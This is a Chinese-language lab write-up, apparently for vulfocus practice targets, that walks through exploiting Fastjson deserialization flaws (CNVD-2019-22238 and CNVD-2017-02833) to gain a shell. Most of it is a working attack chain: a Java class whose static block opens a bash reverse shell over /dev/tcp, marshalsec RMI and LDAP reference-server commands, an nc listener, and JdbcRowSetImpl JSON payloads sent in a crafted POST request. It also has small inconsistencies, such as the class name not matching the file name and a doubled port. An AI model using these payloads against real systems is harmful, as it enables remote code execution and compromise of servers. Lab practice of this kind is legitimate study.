1、靶机环境A:http://vulfocus.fofa.so/启动(名称: vulfocus/fastjson-cnvd_2019_22238:latest)和(vulfocus/fastjson-cnvd_2017_02833:latest)
2、vps服务器B:腾讯云服务器11.*.*.2 (服务器B为rmi服务器,也为http服务器、监听端口接收反弹shell,注意云服务器检查防火墙端口)
3、攻击环境C:本地windows10
准备工作 1、准备rmi/idap服务远程加载class文件 2、编译可执行的class文件 3、本机开启http服务,为rmi/idap服务下载class文件提前做好准备 4、开启监听端口 部署rmi/idap服务 通过marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class。1、git clone https://github.com/mbechler/marshalsec #下载marshalsec项目 2、cd marshalsec #进入marshalsec目录 3、mvn clean package -DskipTests #通过mvn打包项目(提示:没有安装mvn需要apt安装),这个过程会生成一个targetw文件夹,找到marshalsec-0.0.3-SNAPSHOT-all.jar文件编译可执行class文件 1、编写java代码Exploit.java文件,内容如下:
import java.lang.Runtime;
import java.lang.Process;
public class Test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.102/7777
0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、编译Exploit.java文件成Exploit.class,操作如下:
javac Exploit.java #同目录会生成一个Exploit.class文件.开启http服务
python2 -m SimpleHTTPServer 8888开启监听端口
nc -lvvp 7777开始验证漏洞操作 主机B 开启rmi服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2:8888/#Exploit" 9999 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2此处为HTTP服务/#Exploit" 此处为rmi服务 或 主机B 开启ldap服务主机。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://11.*.*.2:8888/#Exploit 9999 POC为 名称: vulfocus/fastjson-cnvd_2019_22238:latest,POC如下: { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999/Exploit", "autoCommit":true } } 名称:vulfocus/fastjson-cnvd_2017_02833:latest,POC如下: { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999:9999/Exploitt", "autoCommit":true } 抓包分析和验证 修改get请求为post请求 POST / HTTP/1.1 Host: vulfocus.fofa.so:20457 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 cookie: Connection: close Content-Length: 199 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://11.*。*。2:9999/Exploitt", "autoCommit":true } 操作过程如下截图: 1、开启HTTP服务准备class文件,开启监听端口等待shell,开启rmi服务 2、开启靶场镜像环境 3、抓包,修改get为post,执行poc,等待。。。 4、监听端口接收shell 5、获取flag。收工 (郑州声明:以下内容仅供学习交流,如有用于其他非法操作,与本人无关。)



